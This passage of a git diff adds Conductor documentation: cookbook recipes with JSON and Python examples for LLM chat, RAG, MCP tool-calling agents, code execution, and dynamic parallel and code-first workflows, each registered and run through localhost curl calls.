tasks finished successfully and the workflow reached its terminal state. | +| **FAILED** | One or more tasks failed and the workflow could not recover. If a `failureWorkflow` is configured, it will be triggered. | +| **TIMED_OUT** | The workflow exceeded its configured `timeoutSeconds` and the `timeoutPolicy` was set to `TIME_OUT_WF`. | +| **TERMINATED** | The workflow was explicitly stopped by an API call or system action. | +| **PAUSED** | The workflow has been paused and will not schedule new tasks until resumed. | + +The following diagram illustrates how a workflow transitions between states: + +```mermaid +stateDiagram-v2 + [*] --> RUNNING + RUNNING --> COMPLETED : all tasks succeed + RUNNING --> FAILED : task failure (unrecoverable) + RUNNING --> TIMED_OUT : timeout exceeded + RUNNING --> TERMINATED : API termination + RUNNING --> PAUSED : pause requested + PAUSED --> RUNNING : resume requested + PAUSED --> TERMINATED : API termination + FAILED --> RUNNING : retry + TIMED_OUT --> RUNNING : retry + TERMINATED --> RUNNING : restart (if restartable) + COMPLETED --> [*] + FAILED --> [*] + TIMED_OUT --> [*] + TERMINATED --> [*] +``` + + +## Next steps + +- [Tasks](tasks.md) — Learn about the building blocks that make up a workflow, including system tasks, worker tasks, and operators. +- [Workers](workers.md) — Understand how to implement task workers in any programming language. +- [Handling errors](../how-tos/Workflows/handling-errors.md) — Configure retries, failure workflows, and compensation strategies. diff --git a/docs/devguide/cookbook/ai-llm.md b/docs/devguide/cookbook/ai-llm.md new file mode 100644 index 0000000..eaee81d --- /dev/null +++ b/docs/devguide/cookbook/ai-llm.md @@ -0,0 +1,714 @@ +--- +description: "LLM orchestration cookbook — AI agent orchestration recipes for chat completion, RAG pipelines, MCP agents with function calling, web search, code execution, coding agents, extended thinking, image generation, LLM-to-PDF, and provider configuration." +--- + +# AI & LLM orchestration recipes + +Build durable agents and LLM workflows with Conductor's native AI capabilities. Every recipe below runs with full durable execution guarantees — retries, state persistence, and crash recovery. + +### Chat completion + +A single-step workflow that sends a question to an LLM and returns the answer. + +```json +{ + "name": "chat_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "chat_task", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + {"role": "system", "message": "You are a helpful assistant."}, + {"role": "user", "message": "${workflow.input.question}"} + ], + "temperature": 0.7, + "maxTokens": 500 + } + } + ], + "inputParameters": ["question"], + "outputParameters": { + "answer": "${chat.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @chat_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/chat_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"question": "What is workflow orchestration?"}' +``` + +--- + +### RAG pipeline with vector database (search + answer) + +A vector database workflow for retrieval-augmented generation: vector search retrieves relevant documents, then an LLM generates an answer grounded in those results. + +```json +{ + "name": "rag_workflow", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["question"], + "tasks": [ + { + "name": "search_knowledge_base", + "taskReferenceName": "search", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "kb", + "index": "articles", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "query": "${workflow.input.question}", + "llmMaxResults": 3 + } + }, + { + "name": "generate_answer", + "taskReferenceName": "answer", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "system", "message": "Answer based on the following context: ${search.output.result}"}, + {"role": "user", "message": "${workflow.input.question}"} + ], + "temperature": 0.3 + } + } + ], + "outputParameters": { + "answer": "${answer.output.result}", + "sources": "${search.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @rag_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/rag_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"question": "How do I configure retry policies?"}' +``` + +!!! note "Prerequisites" + Requires a vector database (pgvector, Pinecone, or MongoDB Atlas) configured as a Conductor integration, plus at least one LLM provider. See [AI provider configuration](#ai-provider-configuration) below. + +--- + +### MCP AI agent with function calling + +A four-step agentic workflow demonstrating AI agent orchestration with function calling: discover available tools via MCP, ask an LLM to pick the right tool, execute it via tool use, and summarize the result. + +```json +{ + "name": "mcp_ai_agent_workflow", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "list_available_tools", + "taskReferenceName": "discover_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + }, + { + "name": "decide_which_tools_to_use", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "system", "message": "You are an AI agent. Available tools: ${discover_tools.output.tools}. User wants to: ${workflow.input.task}"}, + {"role": "user", "message": "Which tool should I use and what parameters? Respond with JSON: {method: string, arguments: object}"} + ], + "temperature": 0.1, + "maxTokens": 500 + } + }, + { + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "summarize_result", + "taskReferenceName": "summarize", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + {"role": "user", "message": "Summarize this result for the user: ${execute.output.content}"} + ], + "maxTokens": 200 + } + } + ], + "outputParameters": { + "summary": "${summarize.output.result}", + "rawToolOutput": "${execute.output.content}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @mcp_ai_agent_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/mcp_ai_agent_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"task": "Look up the latest order status for customer 42"}' +``` + +--- + +### Image generation + +Generate images from a text prompt using DALL-E or another supported provider. + +```json +{ + "name": "image_gen_workflow", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["prompt"], + "tasks": [ + { + "name": "generate_image", + "taskReferenceName": "image", + "type": "GENERATE_IMAGE", + "inputParameters": { + "llmProvider": "openai", + "model": "dall-e-3", + "prompt": "${workflow.input.prompt}", + "width": 1024, + "height": 1024, + "n": 1, + "style": "vivid" + } + } + ], + "outputParameters": { + "imageUrl": "${image.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @image_gen_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/image_gen_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"prompt": "A futuristic city skyline at sunset, digital art"}' +``` + +--- + +### LLM report to PDF pipeline + +An LLM generates a structured markdown report, then Conductor converts it to a downloadable PDF. + +```json +{ + "name": "llm_to_pdf_pipeline", + "description": "LLM generates a markdown report, then converts it to PDF", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic", "audience"], + "tasks": [ + { + "name": "generate_report_markdown", + "taskReferenceName": "llm_report", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + {"role": "system", "message": "You are a professional report writer. Generate well-structured markdown reports."}, + {"role": "user", "message": "Write a detailed report about: ${workflow.input.topic}\nTarget audience: ${workflow.input.audience}"} + ], + "temperature": 0.7, + "maxTokens": 2000 + } + }, + { + "name": "convert_to_pdf", + "taskReferenceName": "pdf_output", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "${llm_report.output.result}", + "pageSize": "A4", + "theme": "default", + "baseFontSize": 11, + "pdfMetadata": { + "title": "${workflow.input.topic}", + "author": "Conductor AI Pipeline" + } + } + } + ], + "outputParameters": { + "reportMarkdown": "${llm_report.output.result}", + "pdfLocation": "${pdf_output.output.result.location}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @llm_to_pdf_pipeline.json + +curl -X POST 'http://localhost:8080/api/workflow/llm_to_pdf_pipeline' \ + -H 'Content-Type: application/json' \ + -d '{"topic": "Microservices observability best practices", "audience": "Platform engineering team"}' +``` + +--- + +### Web search — real-time information retrieval + +Enable the LLM's built-in web search to answer questions about current events or find up-to-date information. No MCP server or external tool needed — the provider handles the search natively. + +```json +{ + "name": "web_search_workflow", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["question"], + "tasks": [ + { + "name": "web_search_chat", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + {"role": "system", "message": "Use web search to find current information."}, + {"role": "user", "message": "${workflow.input.question}"} + ], + "webSearch": true, + "maxTokens": 1000 + } + } + ], + "outputParameters": { + "answer": "${chat.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @web_search_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/web_search_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"question": "What are the latest developments in AI regulation?"}' +``` + +!!! note "Provider support" + Web search is supported by OpenAI, Anthropic, and Google Gemini. Set `"webSearch": true` — the same parameter works across all providers. + +--- + +### Code execution — sandboxed code interpreter + +Let the LLM write and run code in a sandboxed environment. Useful for data analysis, calculations, chart generation, and tasks that benefit from executable code. + +```json +{ + "name": "code_execution_workflow", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "code_chat", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "google_gemini", + "model": "gemini-2.5-flash", + "messages": [ + {"role": "system", "message": "Use code execution to compute results and analyze data."}, + {"role": "user", "message": "${workflow.input.task}"} + ], + "codeInterpreter": true, + "maxTokens": 2000 + } + } + ], + "outputParameters": { + "result": "${chat.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @code_execution_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/code_execution_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"task": "Calculate the first 100 prime numbers and find the average gap between consecutive primes"}' +``` + +!!! note "Provider support" + Code execution is supported by OpenAI (`code_interpreter`), Anthropic (`code_execution`), and Google Gemini (`codeExecution`). Set `"codeInterpreter": true` — the same parameter works across all providers. + +--- + +### Coding agent — plan, code, and review + +A three-step agent that plans an implementation, writes and executes the code using the code interpreter, and reviews the result. This pattern is useful for automated code generation tasks. + +```json +{ + "name": "coding_agent", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "plan", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + {"role": "system", "message": "Break down the coding task into clear numbered steps."}, + {"role": "user", "message": "${workflow.input.task}"} + ], + "temperature": 0.2, + "maxTokens": 1000 + } + }, + { + "name": "write_and_run", + "taskReferenceName": "code", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + {"role": "system", "message": "Write the code, run it, verify the output, and fix any errors."}, + {"role": "user", "message": "Plan:\n${plan.output.result}\n\nTask: ${workflow.input.task}"} + ], + "codeInterpreter": true, + "temperature": 0.1, + "maxTokens": 4000 + } + }, + { + "name": "review", + "taskReferenceName": "review", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + {"role": "system", "message": "Review the implementation for correctness and code quality."}, + {"role": "user", "message": "Task: ${workflow.input.task}\n\nCode:\n${code.output.result}"} + ], + "maxTokens": 1000 + } + } + ], + "outputParameters": { + "code": "${code.output.result}", + "review": "${review.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @coding_agent.json + +curl -X POST 'http://localhost:8080/api/workflow/coding_agent' \ + -H 'Content-Type: application/json' \ + -d '{"task": "Write a Python function that converts Roman numerals to integers, with unit tests"}' +``` + +--- + +### Extended thinking — complex reasoning + +Give the LLM a token budget for step-by-step reasoning before generating its final response. Useful for math, logic, code review, and complex analysis. + +```json +{ + "name": "extended_thinking_workflow", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["problem"], + "tasks": [ + { + "name": "think_deeply", + "taskReferenceName": "think", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "user", "message": "${workflow.input.problem}"} + ], + "thinkingTokenLimit": 10000, + "maxTokens": 16000 + } + } + ], + "outputParameters": { + "answer": "${think.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @extended_thinking_workflow.json + +curl -X POST 'http://localhost:8080/api/workflow/extended_thinking_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"problem": "Prove that the square root of 2 is irrational."}' +``` + +!!! note "Provider support" + Extended thinking is supported by Anthropic (`thinkingTokenLimit`) and Google Gemini (`thinkingBudgetTokens`). OpenAI uses `"reasoningEffort": "high"` for a similar effect. + +--- + +### Multi-turn conversation chaining with previousResponseId + +Chain multiple LLM calls as a conversation without resending the full message history. The first call returns a `responseId`; pass it as `previousResponseId` to the next call. OpenAI's Responses API stores the conversation server-side, saving tokens and latency. + +```json +{ + "name": "multi_turn_chain", + "description": "Two-step conversation using previousResponseId to avoid resending history", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic"], + "tasks": [ + { + "name": "first_turn", + "taskReferenceName": "turn1", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + {"role": "system", "message": "You are a technical architect. Be concise."}, + {"role": "user", "message": "Design a high-level architecture for: ${workflow.input.topic}"} + ], + "temperature": 0.3, + "maxTokens": 2000 + } + }, + { + "name": "follow_up", + "taskReferenceName": "turn2", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + {"role": "user", "message": "Now list the key risks and mitigations for this architecture."} + ], + "previousResponseId": "${turn1.output.responseId}", + "temperature": 0.3, + "maxTokens": 2000 + } + } + ], + "outputParameters": { + "architecture": "${turn1.output.result}", + "risks": "${turn2.output.result}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @multi_turn_chain.json + +curl -X POST 'http://localhost:8080/api/workflow/multi_turn_chain' \ + -H 'Content-Type: application/json' \ + -d '{"topic": "Real-time collaborative document editor"}' +``` + +The second call sends only the new user message — OpenAI already has the full conversation context from `previousResponseId`. This is especially useful for long agent loops where resending the full history each iteration would be expensive. + +!!! note "Provider support" + `previousResponseId` is supported by OpenAI and Azure OpenAI (Responses API). Other providers require sending the full message history in each call. + +--- + +### Web research agent — search, synthesize, PDF + +A multi-step agent that uses web search to gather information, an LLM with extended thinking to synthesize a report, and converts it to PDF. Combines three built-in capabilities in a single workflow. + +```json +{ + "name": "web_research_agent", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic"], + "tasks": [ + { + "name": "gather_information", + "taskReferenceName": "research", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + {"role": "system", "message": "Use web search to find comprehensive, current information. Search for multiple perspectives and recent developments."}, + {"role": "user", "message": "Research this topic thoroughly: ${workflow.input.topic}"} + ], + "webSearch": true, + "temperature": 0.3, + "maxTokens": 3000 + } + }, + { + "name": "synthesize_report", + "taskReferenceName": "report", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + {"role": "system", "message": "Synthesize the research into a well-structured markdown report with sections, key findings, and citations."}, + {"role": "user", "message": "Topic: ${workflow.input.topic}\n\nResearch:\n${research.output.result}\n\nWrite a comprehensive report."} + ], + "thinkingTokenLimit": 5000, + "maxTokens": 8000 + } + }, + { + "name": "convert_to_pdf", + "taskReferenceName": "pdf", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "${report.output.result}", + "pageSize": "A4", + "pdfMetadata": { + "title": "${workflow.input.topic}", + "author": "Conductor Research Agent" + } + } + } + ], + "outputParameters": { + "report": "${report.output.result}", + "pdf": "${pdf.output.result.location}" + } +} +``` + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @web_research_agent.json + +curl -X POST 'http://localhost:8080/api/workflow/web_research_agent' \ + -H 'Content-Type: application/json' \ + -d '{"topic": "The state of WebAssembly adoption in 2026"}' +``` + +--- + +### AI provider configuration + +Set environment variables before starting the server. Conductor auto-enables providers when their API key is present. + +```bash +# OpenAI (required for most examples) +export OPENAI_API_KEY=sk-your-openai-api-key + +# Anthropic (for RAG, extended thinking examples) +export ANTHROPIC_API_KEY=sk-ant-your-anthropic-key + +# Google Gemini — API key (simplest) +export GEMINI_API_KEY=your-gemini-api-key +# Or Vertex AI (for enterprise/GCP) — set project and location in application.properties +``` + +For vector database and other advanced configuration, add to `application.properties`: + +```properties +# PostgreSQL Vector DB (for RAG examples) +conductor.vectordb.instances[0].name=postgres-prod +conductor.vectordb.instances[0].type=postgres +conductor.vectordb.instances[0].postgres.datasourceURL=jdbc:postgresql://localhost:5432/vectors +conductor.vectordb.instances[0].postgres.user=conductor +conductor.vectordb.instances[0].postgres.password=secret +conductor.vectordb.instances[0].postgres.dimensions=1536 +``` + +--- + +## More examples + +For additional AI workflow definitions, see the [AI workflow examples on GitHub](https://github.com/conductor-oss/conductor/tree/main/ai/examples). diff --git a/docs/devguide/cookbook/dynamic-parallelism.md b/docs/devguide/cookbook/dynamic-parallelism.md new file mode 100644 index 0000000..38328c7 --- /dev/null +++ b/docs/devguide/cookbook/dynamic-parallelism.md @@ -0,0 +1,156 @@ +--- +description: "Conductor cookbook — dynamic parallelism recipes with Dynamic Fork for different tasks per branch, fan-out with same task, and parallel sub-workflows." +--- + +# Dynamic parallelism + +### Run different tasks in parallel (Dynamic Fork) + +Use `dynamicForkTasksParam` + `dynamicForkTasksInputParamName` when each parallel branch runs a **different** task. The task list is determined at runtime by a preceding step. + +```json +{ + "name": "dynamic_fork_different_tasks", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "prepare_tasks", + "taskReferenceName": "prepare", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "graaljs", + "expression": "(function() { return { dynamicTasks: [{name: 'HTTP', taskReferenceName: 'fetch_weather', type: 'HTTP'}, {name: 'HTTP', taskReferenceName: 'fetch_news', type: 'HTTP'}], dynamicTasksInput: { fetch_weather: { http_request: {uri: 'https://api.weather.gov/points/39.7456,-104.9994', method: 'GET'}}, fetch_news: { http_request: {uri: 'https://hacker-news.firebaseio.com/v0/topstories.json', method: 'GET'}}}}; })()" + } + }, + { + "name": "fork_join_dynamic", + "taskReferenceName": "dynamic_fork", + "type": "FORK_JOIN_DYNAMIC", + "inputParameters": { + "dynamicTasks": "${prepare.output.result.dynamicTasks}", + "dynamicTasksInput": "${prepare.output.result.dynamicTasksInput}" + }, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput" + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "type": "JOIN" + } + ] +} +``` + +`dynamicTasks` is an array of task definitions (each with `name`, `taskReferenceName`, and `type`). `dynamicTasksInput` is a map keyed by each task's `taskReferenceName` containing its input payload. + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @dynamic_fork_different_tasks.json + +curl -X POST 'http://localhost:8080/api/workflow/dynamic_fork_different_tasks' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +--- + +### Run same task in parallel (fan-out) + +Use `forkTaskName` + `forkTaskInputs` when running the **same** task type across multiple inputs. + +```json +{ + "name": "fan_out_http_calls", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "fork_join_dynamic", + "taskReferenceName": "parallel_fetch", + "type": "FORK_JOIN_DYNAMIC", + "inputParameters": { + "forkTaskName": "HTTP", + "forkTaskInputs": [ + {"http_request": {"uri": "https://jsonplaceholder.typicode.com/posts/1", "method": "GET"}}, + {"http_request": {"uri": "https://jsonplaceholder.typicode.com/posts/2", "method": "GET"}}, + {"http_request": {"uri": "https://jsonplaceholder.typicode.com/posts/3", "method": "GET"}} + ] + } + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "type": "JOIN" + } + ] +} +``` + +!!! tip + Conductor injects `__index` into each fork's input so you can track the position of each parallel branch in the results. + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @fan_out_http_calls.json + +curl -X POST 'http://localhost:8080/api/workflow/fan_out_http_calls' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +--- + +### Run sub-workflows in parallel + +Use `forkTaskWorkflow` + `forkTaskInputs` to fan out across instances of another workflow. + +```json +{ + "name": "parallel_sub_workflows", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "fork_join_dynamic", + "taskReferenceName": "parallel_regions", + "type": "FORK_JOIN_DYNAMIC", + "inputParameters": { + "forkTaskWorkflow": "process_region", + "forkTaskWorkflowVersion": 1, + "forkTaskInputs": [ + {"region": "us-east-1", "data": "batch_a"}, + {"region": "eu-west-1", "data": "batch_b"}, + {"region": "ap-southeast-1", "data": "batch_c"} + ] + } + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "type": "JOIN" + } + ] +} +``` + +Each element in `forkTaskInputs` spawns one instance of the `process_region` workflow. All results are collected at the JOIN task. + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @parallel_sub_workflows.json + +curl -X POST 'http://localhost:8080/api/workflow/parallel_sub_workflows' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` diff --git a/docs/devguide/cookbook/dynamic-workflows.md b/docs/devguide/cookbook/dynamic-workflows.md new file mode 100644 index 0000000..cf35468 --- /dev/null +++ b/docs/devguide/cookbook/dynamic-workflows.md @@ -0,0 +1,365 @@ +--- +description: "Workflow as code — build code-first workflows dynamically in Python using the Conductor SDK. Conditional branching, loops, parallel execution, and runtime-generated dynamic workflows." +--- + +# Dynamic workflows in code + +## Workflow as code + +Conductor supports a code-first workflow approach — build workflows programmatically using the Python SDK instead of writing JSON by hand. This workflow as code pattern lets you chain tasks with the `>>` operator, add conditional logic, loops, and parallel branches — all in Python. Code-first workflows are ideal for dynamic workflows where the task graph is determined at runtime. + +### Simple sequential workflow + +Chain tasks with the `>>` operator. Worker functions decorated with `@worker_task` become reusable task building blocks. + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.worker.worker_task import worker_task + + +@worker_task(task_definition_name='fetch_order') +def fetch_order(order_id: str) -> dict: + return {'order_id': order_id, 'amount': 99.99, 'item': 'Widget'} + + +@worker_task(task_definition_name='process_payment') +def process_payment(order_id: str, amount: float) -> dict: + return {'transaction_id': 'txn_abc123', 'status': 'charged'} + + +@worker_task(task_definition_name='ship_order') +def ship_order(order_id: str, transaction_id: str) -> dict: + return {'tracking': 'TRACK-456', 'carrier': 'FedEx'} + + +workflow = ConductorWorkflow(name='order_fulfillment', version=1, executor=executor) + +fetch = fetch_order(task_ref_name='fetch', order_id=workflow.input('order_id')) +pay = process_payment( + task_ref_name='pay', + order_id=workflow.input('order_id'), + amount=fetch.output('amount'), +) +ship = ship_order( + task_ref_name='ship', + order_id=workflow.input('order_id'), + transaction_id=pay.output('transaction_id'), +) + +workflow >> fetch >> pay >> ship +workflow.output_parameters({ + 'tracking': ship.output('tracking'), + 'transaction_id': pay.output('transaction_id'), +}) +workflow.register(overwrite=True) +``` + +--- + +### Conditional branching with Switch + +Route execution based on task output or workflow input. Each case gets its own task chain. + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.workflow.task.switch_task import SwitchTask + + +workflow = ConductorWorkflow(name='route_by_priority', version=1, executor=executor) + +classify = classify_ticket( + task_ref_name='classify', + description=workflow.input('description'), +) + +switch = SwitchTask(task_ref_name='priority_router', case_expression=classify.output('priority')) + +# Each case is a list of tasks to execute +switch.switch_case('critical', [ + page_oncall(task_ref_name='page', ticket_id=workflow.input('ticket_id')), + escalate(task_ref_name='escalate', ticket_id=workflow.input('ticket_id')), +]) +switch.switch_case('high', [ + assign_senior(task_ref_name='assign', ticket_id=workflow.input('ticket_id')), +]) +switch.default_case([ + add_to_backlog(task_ref_name='backlog', ticket_id=workflow.input('ticket_id')), +]) + +workflow >> classify >> switch +workflow.register(overwrite=True) +``` + +--- + +### Parallel execution with Fork/Join + +Run independent tasks in parallel and wait for all to complete. + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.workflow.task.fork_task import ForkTask +from conductor.client.workflow.task.join_task import JoinTask + + +workflow = ConductorWorkflow(name='parallel_enrichment', version=1, executor=executor) + +# Define independent tasks +credit_check = check_credit(task_ref_name='credit', customer_id=workflow.input('customer_id')) +fraud_check = check_fraud(task_ref_name='fraud', customer_id=workflow.input('customer_id')) +kyc_check = check_kyc(task_ref_name='kyc', customer_id=workflow.input('customer_id')) + +# Fork runs all branches in parallel +fork = ForkTask( + task_ref_name='parallel_checks', + forked_tasks=[ + [credit_check], + [fraud_check], + [kyc_check], + ], +) + +# Join waits for all branches +join = JoinTask(task_ref_name='wait_all', join_on=['credit', 'fraud', 'kyc']) + +# Merge results +decide = make_decision( + task_ref_name='decide', + credit_score=credit_check.output('score'), + fraud_risk=fraud_check.output('risk_level'), + kyc_status=kyc_check.output('status'), +) + +workflow >> fork >> join >> decide +workflow.output_parameters({'decision': decide.output('result')}) +workflow.register(overwrite=True) +``` + +--- + +### Loops with Do/While + +Repeat a set of tasks until a condition is met — useful for polling, retries, or iterative AI agent loops. + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.workflow.task.do_while_task import DoWhileTask + + +workflow = ConductorWorkflow(name='agent_loop', version=1, executor=executor) + +# The task(s) to repeat each iteration +think = call_llm( + task_ref_name='think', + prompt=workflow.input('goal'), +) +act = execute_tool( + task_ref_name='act', + tool=think.output('tool'), + args=think.output('args'), +) + +# Loop until the LLM says it's done (max 10 iterations) +loop = DoWhileTask( + task_ref_name='agent_loop', + termination_condition='if ($.act["output"]["done"] == true) { false; } else { true; }', + tasks=[think, act], +) +loop.input_parameters.update({'max_iterations': 10}) + +summarize = summarize_results(task_ref_name='summarize', results=act.output('results')) + +workflow >> loop >> summarize +workflow.register(overwrite=True) +``` + +--- + +### HTTP + system tasks mixed with workers + +Combine built-in system tasks (HTTP, Wait, JQ Transform) with custom workers — no extra deployment needed for system tasks. + +{% raw %} +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.workflow.task.http_task import HttpTask +from conductor.client.workflow.task.json_jq_task import JsonJQTask +from conductor.client.workflow.task.wait_task import WaitTask + + +workflow = ConductorWorkflow(name='data_pipeline', version=1, executor=executor) + +# HTTP task — fetch data from an external API (no worker needed) +fetch = HttpTask(task_ref_name='fetch_data', http_input={ + 'uri': 'https://api.example.com/records', + 'method': 'GET', + 'headers': {'Authorization': ['Bearer ${workflow.input.api_key}']}, +}) + +# JQ Transform — reshape the response (no worker needed) +transform = JsonJQTask( + task_ref_name='transform', + script='.body.records | map({id: .id, value: .metrics.total})', +) +transform.input_parameters.update({ + 'records': fetch.output('response.body'), +}) + +# Custom worker — run business logic +enrich = enrich_records( + task_ref_name='enrich', + records=transform.output('result'), +) + +# Wait — pause for 5 seconds before the next step +cooldown = WaitTask(task_ref_name='cooldown', wait_for_seconds=5) + +# Custom worker — store results +store = save_to_database(task_ref_name='store', records=enrich.output('enriched')) + +workflow >> fetch >> transform >> enrich >> cooldown >> store +workflow.output_parameters({'stored': store.output('count')}) +workflow.register(overwrite=True) +``` +{% endraw %} + +--- + +### Sub-workflows + +Break large workflows into reusable pieces. A parent workflow invokes child workflows as tasks. + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.workflow.task.sub_workflow_task import SubWorkflowTask + + +# Child workflow (registered separately) +child = ConductorWorkflow(name='process_single_item', version=1, executor=executor) +validate = validate_item(task_ref_name='validate', item=child.input('item')) +transform = transform_item(task_ref_name='transform', item=validate.output('validated')) +child >> validate >> transform +child.output_parameters({'result': transform.output('transformed')}) +child.register(overwrite=True) + + +# Parent workflow invokes the child +parent = ConductorWorkflow(name='batch_processor', version=1, executor=executor) + +prepare = prepare_batch(task_ref_name='prepare', batch_id=parent.input('batch_id')) + +run_child = SubWorkflowTask( + task_ref_name='process_item', + workflow_name='process_single_item', + version=1, +) +run_child.input_parameters.update({'item': prepare.output('first_item')}) + +aggregate = aggregate_results( + task_ref_name='aggregate', + result=run_child.output('result'), +) + +parent >> prepare >> run_child >> aggregate +parent.register(overwrite=True) +``` + +--- + +### Runtime-generated dynamic workflow + +Build a workflow definition at runtime and execute it without pre-registration. This runtime 